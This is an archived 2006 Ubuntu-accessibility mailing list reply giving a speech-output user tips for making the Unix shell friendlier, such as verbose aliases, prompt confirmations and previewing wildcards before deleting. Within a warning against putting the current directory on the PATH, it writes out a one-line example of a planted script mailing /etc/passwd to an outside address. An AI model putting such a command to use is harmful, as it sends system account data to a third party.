Making the Command-Line Friendlier (DOS-Background)

Samuel Thibault samuel.thibault at ens-lyon.org
Mon Oct 9 09:52:01 BST 2006


Hi,

Veli-Pekka Tätilä, le Mon 09 Oct 2006 09:09:08 +0300, a écrit :
> LS output is very speech unfriendly,

What do you mean? Because it speaks all file names?

> silence on success feels disconcerting,

Isn't the prompt spoken ?

> having to specify that you want a confirmation appears to negate its
> whole point and even the switches are all wrong by default.

Yes. That's because when you use commands in a shell script, you don't
want to have all confirmations printed by default.  If you really want
a confirmation, you can use another shell than bash (bash is quite
limited), and tinker with your $PS1 variable (the command prompt) and
the $? variable (the return code, which is 0 in case of success).

> Speaking the users language wouldn't be bad either. e.g:
> 
> cp: cannot stat `foo': No such file or directory
> 
> Hmm and what do we gain by knowing that a stat system call is used? All the 
> user cares about is that the source file could not be found.

Well, here that's a concern not really related to accessibility.  The
problem is that programmers are programmers.  But you can report this
problem to the package that provides "cp", coreutils.

> So are there bash configs and or other scripts for making the environment 
> more DOS-like in a good way.

For some issues yes, for others no.

> That is more hand holding,

What do you mean ?

> confirmation prompts,

This you can do it, by having the shell look at the $? variable when
returning to prompt, and say "OK" when it is 0.

> verbose command output

For this it's generally the -v option: cp -v foo bar for instance. You
can put
alias cp='cp -v'
in your .bashrc for this.  The problem is that it's quite talkative.  Do
you really want to hear all files that are being transfered?  (That's
why it's not enabled by default).

> and a general attitude of not assuming you are a programmer and know
> what you are doing.

As I said, that's quite another problem.  Linux was first programmed for
programmers, and the difficulty is now to change this.  Just submit bugs
to the appropriate packages, and this will be corrected.

> I have to dabble as root a little, and that's scary when I don't
> know exactly how the shell will deal with wild cards or quoting, for
> example.

You can

echo *.foo*

before doing

rm *.foo*

for checking the wild card expansion.

> assuming the current directory is in the path

This poses security problem: if the current directory contains an "ls"
script, then you won't be able to read the directory.  Or worse, the
script may actually perform "ls", but also mail < /etc/passwd
foo at bar.com, etc...  So I would really _not_ recommand having this
behavior and really always use ./foo instead of just foo.

> [I] seem to have an immense dislike for most non-interactive Unix
> command-line apps and shells. Maybe this is just culture shock and
> initial change resistance.

Unfortunately, that's the Unix way of thinking...  So yes I'd say it is
just a shock.

> in particular, SunOS 5 and TCSH as used in our Uni machine is just
> plain terrible. e.g:
> 
> grep: illegal option -- help
> Usage: grep -hblcnsviw pattern file . . .
> 
> Really helpful. Compare to findstr /? which gives you much more info 
> including what the command actually does.

Indeed.

The thing is: unix was initially written for programmers.  Microsoft
writes software for general public.  No wonder why the achievment is not
the same.

But you can have GNU's coreutils behave friendlier: just report a
wishlist to the appropriate packages, and it will be corrected.

Note however: don't say "printing `cannot stat foo' sucks !, which is
rude to the programmer who wrote the program.  Instead, say "could it
print `cannot find file foo' please?".

Samuel



More information about the Ubuntu-accessibility mailing list